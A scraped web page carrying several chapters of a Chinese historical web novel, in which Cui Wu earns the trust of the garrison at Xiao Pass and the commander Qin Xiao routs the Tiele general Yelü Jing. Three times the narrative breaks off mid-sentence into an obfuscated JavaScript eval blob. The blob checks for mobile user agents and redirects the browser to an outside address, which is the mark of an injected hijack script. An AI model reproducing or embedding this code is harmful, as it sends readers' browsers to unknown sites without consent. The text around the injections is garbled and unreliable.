军中之人凭拳头说话,对强者天然多三分敬重,虽然心中存疑,却也不敢将崔芜当成寻常女子看待。 更要紧的是,丁钰向镇野军求援,乃至当众介绍崔芜时,用的是“歧王遗女”的名义。 这就很微妙了。 不管眼前的“镇野军”是否旧瓶装新酒,也不论狄斐这个果毅都尉有多少水分,名义上,他们都属老歧王麾下,与崔芜这个山寨郡主有着一重君臣名分。 也难怪狄斐听说崔芜“身世”后,一直噙着异样的笑意,似冷诮似讥嘲,叫人说不出的难受。 崔芜知道他们是怎么想的,老歧王过世多年,他们未曾另投伪王,至今守着镇野军旗号,已是仁至义尽。如今突然冒出个来路不明的乡野丫头,自称“歧王遗女”,大有仗着名分指手画脚的意思。 如何能让沙场搏命的军汉不嗤之以鼻? 崔芜稍作思忖,确认了接下来的行动方针。她尚未学会骑马,此际是用粮车代步,当下便请护持在侧的队正带话:“烦请给狄将军传话,就说我有要事相商。” 队正略带戒备地瞧着她。 崔芜丝毫不愠,竭力展露亲和笑容。她占了颜值便宜,虽布衣荆钗、面伤未愈,却难掩国色丽质,一笑间艳光四射,竟叫队正生出目眩神迷之感。 他不敢再看,一夹马腹匆匆去了。 须臾,狄斐纵马过来,居高睥睨地投来注视:“何事?” 崔芜不以为意:“我将幼弟与乳母安顿在近旁山林,烦劳将军派三两亲兵前去,将人接来。” 又道:“吾弟年纪尚幼,乳母亦是柔弱妇人,还请将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“麻烦了,”崔芜想,“要收服这样的人,使诡耍诈都是白费力气,必须展现自己的强大,才能让他心甘情愿臣服。” 对于征战多年的武将而言,怎样才算强大? 要么如诸葛孔明,多智近妖,算无遗策,运筹帷幄间,决胜千里外。要么如常山赵子龙,勇冠三军,所向披靡,万军丛中取上将首级如探囊取物。 可惜崔芜一个也不沾。 她有自知之明,一个从未接触过军务的新手村菜鸟,一上来就表现得十足惊艳是不可能的,不拖后腿就不错了。 至于勇武…… 崔芜低头看着自己的小细胳膊小细腿,觉得自己还是先把体脂率吃上来比较靠谱。 *** 萧关不是简单的关隘,而是一座城池,于陇山山口依险而立,扼守自泾河方向进入关中的通道。 在王朝兴盛年间,它是丝绸之路的必经驿站,不同民族的文化在此水乳交融。待到王朝末年,它又成了各方势力争执不下的兵家要地,究其原因,实在是萧关的战略位置太过重要,一旦失守,便可长驱直入,将关中八百里平原变为游牧民族驰骋的战场。 想来,盘踞长安的伪歧王也很清楚这一点,才对这股“镇野军余孽”睁一只眼闭一只眼。 关内建城,分内外两重,共十座城门,正北方为靖朔门,也是直面铁勒冲击的第一战场。 崔芜入城时,城墙下的尸骸还没打扫干净,其中有几具甚至是她认识的,当初费了好大力气,才从死亡弥漫的瘟疫营中抢回来。 一转眼,又成了有冤无处诉的刀下亡魂。 腐臭与血腥引来乌鸦,怪叫着盘旋半空,几片黑色羽毛被朔风撕扯,飘摇向阴云紧压的大地尽头。 乱世人命,从来不值钱,怪道“乱世人不如太平犬”。 不过也有好消息,后来逃进城关的,大都活了下来。崔芜进城时,他们就站在街道两旁,眼巴巴地瞧着她。 站在最前头的是跟着崔芜逃出党项营地的汉子们,以延昭和阿绰兄妹为首,每个人脸上都透着隐隐的兴奋。 他们也的确有骄傲的资本,就在一日前,他们靠着几匹缴来的战马和滥竽充数的盔甲,旁若无人地冲溃铁勒军阵,而己方甚至没有一人伤亡。 这让他们相信,自己有在乱世中活下来的底气,因为他们有一个值得相信的首领。 到现在为止,她从未让他们失望过。 被十余双眼睛盯住的崔芜却不知汉子们的心思,她扶着丁钰的手跳下粮车,抬眸环顾这座青史留名的城池。 心里隐隐有种预感:这一场自南而北的千里奔逃,到此终于可以停下脚步。 22. 第二十二章 秦帅 从江南到西北,逃亡途中的所见所闻足够一个人改变最初的想法。 如果说,刚离开江南时,崔芜想的还是找一方足够靠谱的势力当东家,用传自现代的医术与才干混口饭吃,那么现在,她已经不满足于依附大树挡风遮雨,而是打着自立门户的主意。 当然,此时的她胃口不大,只想着割据二三县城,再招募一支愿为自己驱策的千人军队,不求问鼎天下,起码再遇到如孙彦这般拿下半身想事的“枭雄”时,有自保之力。 若要更进一步,她希望不必受制于人,能按自己的设想打造一片“桃花源”,让身边的人——来自异界的知己、追随她的同伴,还有被她救出的中原百姓,过上想过的日子。 这在乱世不啻于奢望,男子尚且步履维艰,何况崔芜一介女流。因此,她从未将其宣之于口,连丁钰都只字未提。 但念头已然生出,种子已经埋下,只待一个契机便能生根发芽。 崔芜不知眼下算不算合适的契机,但她能感觉到,自己心意动了。 然而这事急不得,尤其驻守城关的狄斐性格桀骜,对她又成见颇深,总要弄清缘由才好对症下药。 “狄将军,”她主动寻上狄斐,先抛出一桩公事,“铁勒军此番携了三千轻骑,除了日前攻城的两千,还有一千驻扎于河套之地。” 狄斐散漫的眼神陡然凝聚。 “铁勒将领复姓耶律,单名一个璟字,应是国中贵族,兴许与铁勒国主还有血亲关联,”崔芜并不藏私,将自己知道的都说了出来,“此人虽为胡人,却精通汉家文化,文韬武略俱是出色。若他得知胡都身死,必会卷土重来为爱将报仇,将军不可不防。” 这番话完全是就事论事,推测亦是合情合理,狄斐不觉听进去了,嘴上却不冷不热:“郡主身份贵重,守城之事就不劳费心了。” 崔芜在忍气吞声和直言反击之间斟酌了下,选择了谨慎试探:“我自问与将军从无过节。” 狄斐拿余光瞧着她。 崔芜神色诚恳:“若我之前有冒犯将军之处,还请将军明言,是我的错,我必向将军赔罪。” 翻译过来,要是我没得罪过你,纯属倒霉催被迁怒,还请你收收你那人嫌狗不待见的脾气,我又不是上辈子欠你的。 狄斐听懂了,却没任何表示,仍旧不阴不阳:“郡主言重了,您是千金之躯,末将吃了熊心豹子胆,岂敢要你赔罪?” 崔芜大皱其眉,就听他紧接着道:“先父承已故歧王恩惠,特嘱了我要为你李家当牛做马鞠躬尽瘁,自然是郡主说什么就是什么。” 崔芜恍然:搞了半天,根子原来出在上一辈身上。 她不知老歧王如何得罪了这姓狄的活牲口,不过瞧他面上黔文,便知他二人关系不会太融洽,若再掺和进一个“先父”,那可真是剪不断、理还乱。 不过眼下也不是考虑这些的时候,正如崔芜所言,铁勒军含愤而退,是无奈之举,亦是为势所迫。一旦他们与驻扎河套的耶律璟汇合,三千轻骑卷土重来,仅凭狄斐麾下的五百人,想抵挡无异于痴人说梦。 狄斐嘴上不待见崔芜,却把她的话听进去了,接下来的三日,他重新加固萧关城防,麾下士卒更是日夜巡守,做好大战的准备。 但出人意料的是,三天没动静,五天没动静,直到过去整整半月,还是连铁勒人的影子也没瞧见。 连崔芜心里都泛起嘀咕:铁勒人这是学乖了,还是想玩一出攻其不备,等他们放松戒备再出其不意地兵临城下? 不过随即,她想起当初党项营地遇见的自称河西颜适的小将军,有点明白铁勒人为何迟迟没有动静。 被崔芜当作心腹大患的耶律璟,确实已经自顾不暇。 当日,他允准胡都主动请战,命其率两千轻骑,并裹挟掳掠来的中原百姓前去攻打萧关。 此举并非心血来潮,事实上,打从耶律璟领兵西进之初,就做好谋算关中的准备。不过彼时,他的计划是与党项联手出兵,待拿下关中,便可挥师向西,将李恭心心念念的河西一地盛到盘子里。 只是他没想到,会倒霉催地遭遇瘟疫横行,险些将数千精锐葬送于此。 经此一役,耶律璟生出退兵的念头,但胡都不肯。他是悍将,宁可战死沙场,也决计不愿未接一战就灰溜溜遁走。耶律璟拗不过他,只得允其出兵,事先却也反复叮咛,能攻克城关最好,若不能也不必勉强,一切以保存实力为上。 胡都当时答应得好好的,结果人刚走就忘得一干二净。耶律璟也再没机会教导他,因为胡都走没多久,铁勒营地就遭偷袭。 喊杀声四起时,正值晨光熹微。耶律璟掀帘而出,就见一支玄甲轻骑冲破夜雾,风卷残云般杀到近前。领头之人是一少年悍将,手中马槊矫若游龙,每一探头必取一条人命。 他以鲜血开道,用尸首铺路,头盔下的双眼灼亮如电。 “睁开你的狗眼看清楚,现在可不是睡觉的时候!”少年大笑,“听说姓耶律的都有铁勒皇族血脉,这一趟没找见李恭,能取你的人头也不亏了!” 耶律璟亦是久经战阵,顷刻间已然换好铠甲,持刀上马:“来将报名!” “我乃河西颜适!”少年神色肃冷,“你犯我汉地,掳我百姓,今日该偿债了!” 言罢催动战马,黄沙烟尘被甩在身后。锋刃过境好似雷霆乍惊,摧枯拉朽般劈开一条道路。 他声势慑人,耶律璟却也不惧。铁勒人原是马背上的民族,打野战就没怕过。他挥舞弯刀截住呼啸凌厉的马槊,铿一声火花四溅,两边硬碰硬,都为对方膂力吃了一惊。 两人皆是天生的悍将,此时棋逢对手,厮杀得酣畅淋漓。那少年颜适固然暗自佩服,耶律璟更加吃惊不已。 在铁勒主帅的印象中,中原军队皆如晋廷,瞧着唬人,实则是中看不中用的花架子,禁不住铁勒铁骑一次冲锋。是以万万没想到,中原之地还有此等精锐,正面搏杀竟能与胡人铁骑战一个旗鼓相当。 “你在安西军中身任何职?”他忖度着问道,“河西节度使秦萧可在此地?” 颜适冷笑:“这么好奇?下去问阎王爷吧!” 他嘴不饶人,出手更狠,一把马槊占了兵刃的便宜,舞得虎虎生风,莫说耶律璟无法近身,连弓弩手的冷箭都到不了跟前。 不过十来回合,耶律璟已落下风,饶是弯刀勉力抵挡,仍被破甲锋棱于手臂处带出一道血口。 他不敢恋战,转身就跑,颜适少年气盛,如何肯放?拍马穷追不舍。奔出二三十丈,耶律璟忽而回身,手中飞出一物,巨蟒出山般窜过。 他动作太快,颜适根本不及反应,就觉手臂一紧,竟是被耶律璟掷出的套索缠住胳膊。他大惊之下,掷了马槊,便要拔出匕首割断。但耶律璟反应比他更快,拽住套索往回猛扯,就要将他拖落马背。 颜适却也机灵,一边抱着马颈不撒手,一边催马疾奔卸去拖力。但如此一来,他手无兵刃,很快落入下风。铁勒亲兵蜂拥而至,要将这不知天高地厚的少年围剿于战阵中。 颜适不甘就戮,用匕首猛割套索,那绳子不知是什么材质做的,柔韧得紧,一时居然割不断。眼看铁勒兵卒重重围拢,大有前后包抄之意,颜适把心一横,高举匕首,竟是对准自己被缠缚住的右臂狠狠切下! 最要命的当口,一道寒芒不请自至,生生盖过破晓晨曦。极清锐的“嗡”一声,冷铁长矢分左右袭来,一支射断了缠住颜适的套索,一支震落了颜适手中匕首。 颜适抬头,急剧凝缩的瞳孔中倒映出飞速驰近的一骑。 他喜出望外:“少帅!” 耶律璟紧跟着回首,就见逆光驰来一员战将。此人身披玄甲、手挽强弓,身后跟着数十精骑,人未至,骁悍肃杀之气已裹挟于天风中,滚滚而来。 耶律璟认出那身玄甲,厉声喝问:“你就是秦萧?” 回答他的是挽弓射来的三箭。 一弓射三箭,非箭道高手不能完成,尤其三箭方位妙到毫巅,呈品字状而至,几乎将耶律璟的前后退路堵死了。 他当即感受到颜适方才的心情,头皮发炸,后颈窜出一层冷汗。 眼看这三箭无论如何都躲闪不开,两名亲兵不要命地迎上前,用血肉之躯替耶律璟硬挡了两箭。 箭矢入体,亲兵坠马,耶律璟险之又险地逃过一劫。 他知道厉害,不敢轻易上前,回马奔入亲兵组成的防御阵型中,这才扭头叙话:“早听说安西军少帅秦萧勇冠三军、箭术过人,今天算是见识了。” 秦萧所挟轻骑有限,并不穷追猛赶,只以强弓锁定敌军主帅,逼得铁勒人不得不退。 他眉眼浸没在头盔暗影中,语气亦是沉冷:“耶律将军若想见识秦某武艺,来日王师北上,收复幽云十六州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525722|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之际,必定如你所愿。” 耶律璟脸色晦暗:“不用了!我早听说河西水土丰茂,最适合跑马,来日定要率领我铁勒勇士,前去拜会秦帅!” 两位主帅隔空斗了一回嘴,极有默契地各自收兵,耶律璟领残兵往东退去,秦萧则就地扎营,顺带替心腹爱将收拾残局。 刚经历一轮战火的营地重新迎来人气,战死的尸首被拖走掩埋,没烧完的帅帐拾掇干净,又成了秦萧的地盘。 前来回禀军情的将领进进出出,谁经过门口时都忍不住多看两眼,盖因那战场上悍不可挡的少年将军木桩似地杵在帐外,左脚靴跟几乎被右脚磨开线,也没敢迈出那一步。 直到帐中传出一声冰冷的:“还不滚进来!” 他才好像高悬头顶的铡刀落下,猛地松了口气。 颜适麻溜入帐,撩袍跪下:“末将知罪,请少帅责罚!” 矮案后坐着一道身影,逆着光源,半边面孔隐在阴影中,自额头至鼻梁的轮廓线条显得分外利落。 他垂眸盯着手中文书,上面列明了一场战役下来的伤亡统计及抚恤所需:“你错哪了?” 颜适早有腹稿,闻言连个磕绊也不打:“末将不遵帅令,擅自出兵,理当受罚。但末将亦有不得已的苦衷:斥候来报,党项人异动频频,大有出兵南下之兆。关中与河西互为犄角,关中若遭兵祸,河西也难独善其身。有道是将在外军令有所不受,少帅当时不在营中,末将思前想后,只能冒险出战,实在是无奈之举……” 秦萧还没听完,先被气笑了:“你这是请罪?你不说,本帅还当是来邀功的。” 颜适揉揉鼻子,不敢吱声了。 秦萧运笔如飞,算完最后一行数目,终于抬起头。五官浮现在光线中的一刻,曾让崔芜瞧直愣眼的容貌纤毫毕现,依然是文雅贵气兼而有之,那股刚经完战阵的杀伐戾气,却是再俊秀的容颜也遮掩不住。 如果崔芜在这儿,就知道自己猜得没错,这化名“萧二”的男人,便是说书先生口中翻云覆雨,亦令党项人恨得牙根痒痒的现任河西道节度使,河西秦氏第二子,秦萧,字自寒。 他盯着跪于帐中的颜适,语气严厉:“若我今日未能及时赶到,你打算如何收场?” 想起方才的险之又险,颜适亦有些后颈发凉。但他到底悍利,梗着脖子道:“大不了少条胳膊,又不是不能上马……” 话没说完他就察觉不对,抬头看去,果不其然见到自家主帅脸色发黑。 他不敢再逞强,飞快圆回来:“再说,少帅神机妙算,到的正是时候,末将这不是毫发未伤吗?” 秦萧不吃他马屁,低头将他晾在原地,径自匀了匀笔墨。 颜适仗着脸皮厚,膝行着上前两步,又叫了一声:“小叔叔?” 秦萧笔锋顿住,一滴豆大的墨珠落于纸上,终于绷不住了。 正如说书先生所言,秦萧是已故节度使秦湛庶弟,多年来镇守玉门关,从未踏足凉州城半步。 直到六年前,李恭叛变,弑主篡位。秦萧于边关惊闻噩耗,携八千精锐奔赴凉州平定叛乱,虽逐走叛军,但枉死阵前的秦家人却是活转不回来。 颜适原是秦萧副手颜定方将军之子,秦萧从军之初,是颜老将军手把手教导出来的。八年前,两人镇守安西,却遭回纥游骑以优势兵力围攻,向凉州连发三封求援军报亦无回信。 到最后,是颜定方拼死杀出一条生路,又亲领五百轻骑断后,将重伤的秦萧送回玉门关内。他自己却力战不支,最终倒在回纥人的乱箭之下。 老将军年近四旬方得一子,宠得没了边,正是眼前的颜适。这小子生于乱世、长在军中,随秦萧镇守边关多年,就不知一个“怕”字怎么写。 此番河西疫情四起,秦萧远下江南筹备药材,将军中诸事交付于他。谁知这小子浑得厉害,将主帅“固守大营,按兵不动”的谕令当风筝放了,瞅着秦萧不在,后脚就领轻骑远赴河套,杀了党项人一个措手不及。 难怪秦萧气得牙根痒痒。 “我真知道错了,”颜适了解秦萧,不跟他硬着顶撞,只撒泼耍赖,“都是那姓耶律的混账羔子,硬架打不过,就玩暗招偷袭。小叔叔你看,我这胳膊勒出好粗一道红印子,十天半月都下不去。” 他说着撸起衣袖,手肘处果然红痕分明。 秦萧抬眼瞥过,神色终于缓和了。 23. 第二十三章 荷包 统领一地不是轻松的活计,没人比秦萧更清楚这一点。 少年时酷爱鲜衣怒马,也曾怨恨父亲偏心,分明自己的兵事天赋更在兄长之上,却因一重嫡庶名分受不到应有的重视,反而为嫡兄忌惮,发配到偏远的玉门关外,一守数年,险些将身家性命葬送在沙风瀚海中。 直到李恭反叛,引外族军侵入河西,秦氏满门覆灭,唯他一人独撑大局。曾经肖想过的权柄以一种始料未及的方式落入怀中,他才明白,有些位子不是谁都担负起的。 如何让百姓过得好?或者说,如何让治下百姓在乱世中依然能活下去? 这是每一个上位者都不得不穷尽一生心力研究的功课,涉及衣食住行方方面面。 但是对于秦萧来说,要做到这一点尤其艰难。 因为河西苦寒,粮产不丰,土产亦有限,无法与别地交换必须的物资。纵然受祁连山冰雪融水滋润,有些绿洲屯田,却太容易受天灾影响——春有旱情,夏有蝗灾,冬日苦寒,军民无冬衣御寒,一场风雪带走的人命俱是数以千计。 面对面的战场厮杀,秦萧从没有怕过,但他对冻毙的尸骸和歉收的庄稼无能为力,更别提掺杂其中的复杂人事,足以让习惯了军中氛围的悍将一个头两个大。 但他不能不硬着头皮上。 因为秦家已经没人了。 好比这一回河西大疫,百姓患病者数以千万计,甚至连军中都受到影响。周边邻居又没一个善茬——党项、关中、蜀国各怀心思,谁也不会将救命的药材卖给他。 实在无奈何,身居高位的河西节度使只能亲赴江南,用尽浑身解数,才从商贾手中撬出一批药材。 就这,若无崔芜暗中帮忙,也险些被孙家父子截了。 “少帅命人送回的药材,我都分发下去,也将得病的百姓按症状轻重分开安顿,一应秽物深埋处理,医者每日诊脉发药,都需佩戴面罩,进出要用净水洗手。” 颜适有意邀功,将这些时日的安排说得格外详细:“如此安排,确实令患病之人少了许多,轻症患者也大多见好。只有些年老体迈的重症病员实在没熬过来,我怕疫病过人,将尸首统一火化,每家唯留骨灰一捧以寄哀思。” 秦萧问道:“伤亡几何?” “轻症不足三成,重症五成上下,若非处置及时,伤亡还要惨重,”颜适道,末了有些好奇,“对了少帅,你从何处听来的应对疫病的法子?虽说繁琐了些,不过当真有效,我都命人记下了,往后说不准也用得上。” 秦萧将公文卷成一拢,在这口无禁忌的爱将脑袋上敲了下:“还想有‘往后’?” 颜适不吭声了。 不过颜小将军这番话勾起秦萧不足为外人道的一点遐思,眼前倏尔闪现过一道纤柔身影。 当日汴梁城中,他察觉部曲留下的暗记,其中蕴含的信息分明是指汴梁城内潜伏有外族暗探。为保万全,他将崔芜留在酒楼,独自追踪上去,谁知刚与部曲汇合,就听说铁勒轻骑攻破了都城。 秦萧心中晋都之中必有铁勒内应,只是当时兵荒马乱,所有痕迹皆被乱军抹去,想要查明奸细却是难了。 彼时铁勒烧杀劫掠,昔日繁华帝都,一朝沦为人间地狱。幸而秦萧久在边关,习惯了与如狼似虎的“芳邻”打交道,身边部曲亦是久经战阵的精锐悍将,脱身自保总是不难。 可当他想方设法甩脱追兵,冒险潜回酒楼时,却发现原先熙熙攘攘的销金窟,已被大火无情吞没,碎瓦残垣轰然倒塌,砖石下露出几具未及逃脱的焦黑尸首。 那一刻,秦萧有冲动徒手挖开废墟,拖出尸骸,逐一比对年纪、体貌。不知从何而来的直觉告诉他,那人没有死,纵然身处都城沦陷、乱兵劫掠的绝境中,那个执拗桀骜却又坚忍慧敏的女子,依然有办法为自己挣出一条生路。 但他到底没这么做,毕竟过了热血上头的年岁,权衡之后还是暂且退避。本想寻机潜入铁勒军营窥探寻人,不料运气不佳,半途撞见一小股铁勒斥候,虽将其尽数歼灭,己方却也有两人重伤。 秦萧是一军主帅,不能不为部下安危考虑。待得数日后,受伤部曲退下高热、脱离险境,他再次前往城外铁勒大营,留给他的却唯有人去营空的狼藉。 秦萧不曾放弃,一路暗中追踪,不料铁勒人兵分两路,一路向西,一路继续北上。他不能追得太近,仅凭大军过境的痕迹又无法判断崔芜去向,只好赌一赌运气,跟随北上队伍直入铁勒境内。中途寻了个空隙潜入军营,制造出些许混乱,声东击西之下,好容易将被外族掳掠的百姓救出部分。 正是从这些人口中,秦萧得知俘虏中确实有一位女郎中,还曾为铁勒大将治疗箭伤。 “她是个叛徒!”侥幸捡回一条命的男人狠狠啐了口,满面不屑,“她救了好些铁勒伤兵,像狗似地讨好他们,只差跪下来舔他们脚尖!我看,你也不用费心寻她,胡人待她好得很,每日吃喝不缺,还有毛皮御寒。她长得又不错,说不准早被胡人蛮子收作小妾,乐不思蜀了。” 秦萧不置可否,安顿好百姓,掉头往西追去。因着途中耽搁了时日,堪堪追到时,正撞见颜适无令出兵,轻袭铁勒营地的一幕,又好巧不巧地,从刀锋下抢回他一条胳膊。 个中原委,三日三夜也说不完。秦萧无意赘言,只问道:“你们清点人数,可见着被掳掠来的汉家百姓?” 别说,还真有。 中原百姓大多被胡都裹挟去攻打萧关,剩下的多是相貌不恶的年轻女子,若是互市还在,大约能叫出不低的价码。 她们原是好人家的女儿,被铁勒人掳掠至此,清白前程都没了。虽得秦萧相救,人却瞧着不好,十个里有七八个呆呆傻傻,见着满身血气的兵卒也不怕,只会痴痴地笑。 颜适冲锋陷阵无所畏惧,却不敢看这些女子空荡荡的眼眸,进帐打了个照面,又忙不迭退出来。 他寻了半晌,终于找见一个精神还算正常的,带她梳洗干净了,送入帅帐交由秦萧问话。 说来也巧,这女子便是当日身怀有孕又感染疫病的那位。此时洗漱一新,她绾了未出阁女子的发髻,怀胎两月有余的下腹尚还看不出起伏,跪地毕恭毕敬地磕了头。 听秦萧问的是崔芜,她倒还念着对方的救命之恩,说了公道话:“那位女郎中确实为好些胡人治了伤病,但归根究底,还是为了保住我们这些去国离乡之人——若无她在胡人跟前的脸面,当初瘟疫横行,我们早被拖出去活埋,哪还有命等到将军来救。” 秦萧不动声色,拢蹙的眉心却舒展开:“其他人呢?” 女子摇了摇头:“民女不知。”顿了片刻,又解释道:“前些时日,党项营地疫病严重,将那位郎中借了去,同行还有些精壮汉子。至于旁人……” 她神色微黯:“却是被那女郎中治好的胡人将军带走,眼下不知去向。” 她不知颜适在横扫铁勒军营之前,先挑了党项驻地,里头的中原俘虏有一个算一个,都被崔芜拐走,是以有此一说。 秦萧得了她的口供,又详细讯问了党项俘虏,串起蛛丝马迹,大概猜到是怎么回事。 饶是他老成,心底也不由击节赞叹。 先示彼以弱,待其不备,再直取要害。 这女子虽是楚馆出身,眼界、胆识却均属上乘,所行所为更隐隐合乎兵法要义,若事先无人教导,全凭自己领悟,当真称得上是不世出之奇才。 正思忖去哪寻人,她逃脱后又会去哪,只见颜适掀帘而入,手里还捏着个荷包来回翻看。 秦萧目力极好,一眼瞥见那荷包纹样眼熟得紧,是一对翱翔云天的大雁。再一回忆,当初逃难时,崔芜随身有一装首饰的荷包,绣的正是云雁图案。 他劈手夺过,确认是崔芜随身之物,立刻追问道:“从哪来的?” “胡人手里缴来的,说是那女郎中贿赂他的,里头还有几样首饰。”颜适说,“首饰换了酒和盐巴,倒是这荷包,他见配色好看,手工也精致,便没舍得扔,想着带回草原,送给未过门的妻子……” 他话没说完,忽然消了音,眼睁睁瞧着自家少帅抹去荷包上沾染的灰尘,小心收入怀中。 理由也很冠冕堂皇:“闺阁之物,不可流落外人之手,等见到那位女郎中,我再将东西还给她。” 颜适:“……” 还不还姑且不论,打从他认识秦萧,统共也有十多年了,除了亲娘留下的玉佩,还没见他把哪个女子的物件这么宝贝地揣怀里。 莫非…… 少年将军摸着下巴,饶有兴味地笑了。 *** 被秦萧“贪墨”了贴身之物的崔芜,还不知道她白认的兄长已经替她解决了心腹大患。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔芜确实在伤兵营,自打入关第一日起,她就将其他人交给延昭,自己带着阿绰和丁钰换了衣服,扎进伤兵营后再没出来过。 镇野军刚与铁勒人打过一场硬仗,伤亡不说惨重,也有二十几个重伤军汉,轻伤更是不计其数。原有的两个军医均已胡须花白,实在忙不过来,只得按轻重缓急排了序,轻伤的且等等,紧着重伤的先来。 崔芜的到来,可算解了燃眉之急。 这时候就体现出“练过手”的好处,不管铁勒营还是镇野军,伤兵营都是大同小异,污血秽物遍地横流,伤兵的呻吟声亦是不绝于耳。 崔芜的“郡主”身份无法拿捏狄斐,震慑几个老军医还是手到擒来。在她入主伤兵营的第一天,即便再不情愿,两人也只能按照崔芜的吩咐,打扫干净营帐,又专门起了炉灶,一应用具均需放入开水消毒一刻钟。 “我知此举麻烦,”崔芜语气温和,神色却极严厉,“但我们麻烦些,兴许就能救回一条人命。只要能让将士们少些死伤,再多麻烦都是值得的。” 没人能否认这话,尤其当他们看到崔芜亲自挽起袖子打扫干净营帐,又为伤兵清洗创口吮吸脓血。且她并非政治作秀,而是真的精通医术——好比第一日,有个小将士胸口中箭,虽未伤及要害,却离心脏十分之近。 两个老军医先后瞧了,直摇头,谁也不敢上手去拔。 小将士疼得受不了,嘴唇被自己生生咬出血印:“快、快拔了,就算立时死了,也好过受这些零碎折磨……” 正不知如何是好之际,崔芜背着药箱赶到了。她大致查看过伤口,确认没伤到心、肺之类的重要器官,熟练地清创、去除腐肉。 军中没有麻沸散,小将士瞧她年轻,眼皮子直跳:“你、你行吗?” 崔芜头也不抬:“我曾给一个胡人将军治伤,中箭部位在大腿根,差一点就伤到血脉。他恢复得极好,后来还亲自领兵攻打萧关。” 小将士惊怒交加:“那贼蛮胡是你救的?你可知他杀了我们多少兄弟!” 崔芜:“他再杀不了人了。” 小将士怔住:“你怎么知道?” 崔芜:“因为我杀了他。” 小将士:“……” 下一瞬,他只觉伤处剧痛,喷出一簇细细血花,那箭头已被崔芜干净利落地拔出。 24. 第二十四章 舆图 “当啷”一声,染血的箭头丢入铜盆,清水中浮起缕缕血丝。 除了拔箭那一下,小将士再没开过口,不是不痛,实在是崔芜手法太熟练、太利落,他看直了眼,甚至忘了呼痛。 箭头拔出,留下胸口处的开放性伤口。崔芜用自己调配的淡盐水消毒清创,再将于开水中消毒过的干净麻布卷成一条,用于伤口引流。最后用同样高温消毒过的针线仔细缝合创口,全程只用了不到半个时辰。 末了,她活动了下因为长时间保持同一姿势而过分酸痛的颈椎,对小将士道:“能做的我都做了,接下来就看你运气如何。” 缝合后的伤口不再大量出血,但军中条件有限,无法做到完全的无菌,感染几乎是无法避免。只能寄希望于年轻人身体素质过硬,挺得过这一关。 小将士还有些怔怔,见崔芜收拾完转身要走,忍不住叫住她:“喂!” 崔芜止步,扭头看着他。 小将士舔了舔干裂的嘴角:“你刚才说,杀了那贼胡蛮胡,可是真的?” 崔芜笑了:“我谎报军功有什么好处?能升官吗?” 小将士瞧她的眼神不一样了。 之前,他们确实听说铁勒军退兵是因为主帅为人所刺,也听闻立此大功者是个女子,只是谁都没太当回事。 原因很简单,在他们固有的印象中,女子都是孱弱无力之辈,越是身份高贵就越是柔弱无能。平日里见到杀鸡宰羊尚且大惊小怪,哪来的勇气与胆魄去杀人? 更何况,还是于万军之中刺杀敌军主将? 又不是传奇话本,女主人公个个都有飞天遁地之能。 然而见识了崔芜拔箭的干净利落,小将士有些不确定了。 如果一个女子能对着血肉模糊的伤口面不改色,能毫不犹豫地将深入肉中的箭簇干脆拔出…… 那杀个把胡蛮,好像也不是那么难以接受? 军汉心思单纯,没那么多利益权衡,只认“慕强”一条。崔芜能于两军阵前诛杀胡都,间接解了萧关之围,便得到了他们的认可。 一时间,无数道目光看来,七八张嘴追着崔芜问道—— “那胡人将军凶悍得很,居然死在你手上?你怎么做到的?” “我有两个兄弟就是死在这胡蛮手里……杀得好!若是早些杀了,我那俩兄弟说不定就不必死了。” “他们说,你是那什么劳什子王爷的郡主?你们这些娇滴滴的贵人不住着深宅大院、高床软枕,怎地跑来吃这份苦头?” 崔芜一一作答:“是我杀的。我替他治过伤,他对我没多少防心,又见我是女子,越发不放在心上,这才能一击即中。” “这些胡人掳了好些百姓,我迫于无奈,为胡将治伤,也是想换得百姓平安。” “先父确是已故歧王,然先母并非正室夫人,而是歧王爷养在别处的外室。因受人构陷,先母一度沦落风尘,我亦遍尝世情冷暖。什么郡主贵人,都是过眼云烟,不值当挂在嘴边。” 她口中回答,手里动作分毫不慢,一盏茶的功夫已经瞧了五六个伤者。她借用的身份贵重,偏偏际遇坎坷,言谈又是坦荡自如,毫无掩饰羞愧之意,倒让一众军汉高看几分。 “乱世艰难,你一个姑娘家,独自过活也是不容易,”年长些的军汉叹息道,“我家将军原是已故赵都尉所收义子,赵都尉生前对老歧王忠心耿耿,嘱咐我家将军定要寻回少主,全力辅佐。” “你既是郡主,以后就安心住着,有咱们将军在,没人敢欺辱你。” 崔芜心念微动,想起狄斐提及“先父”时万般不甘又咬牙切齿的模样,隐约有了揣测:“早听说果毅都尉之名,只是不知老人家有何事迹?又是因何亡故?” 军汉打开了话匣子。 “赵都尉大号赵光盈,当初老歧王在时,就是咱们赵都尉替他掌着镇野军,麾下七千精锐,可是威风。可惜老王爷年纪大了,不想着好好治地,反而猜忌这个猜忌那个,连心腹臣属也不放过——咱们将军的生身父亲,就是老王爷身边的佐官,因受奸人陷害,被判了斩刑。” “当时将军不过总角之年,侥幸逃过一死,刺青发配到萧关,好几次差点活不下去。亏得当时的赵都尉怜悯,收为义子,又悉心教导军略布阵,这才有了今天。” 崔芜听到这里,明白了。 先有亲爹无辜被冤,死得不值。后有养父为个是非不分的庸主鞠躬尽瘁,临死还不忘嘱咐便宜儿子继续卖命。 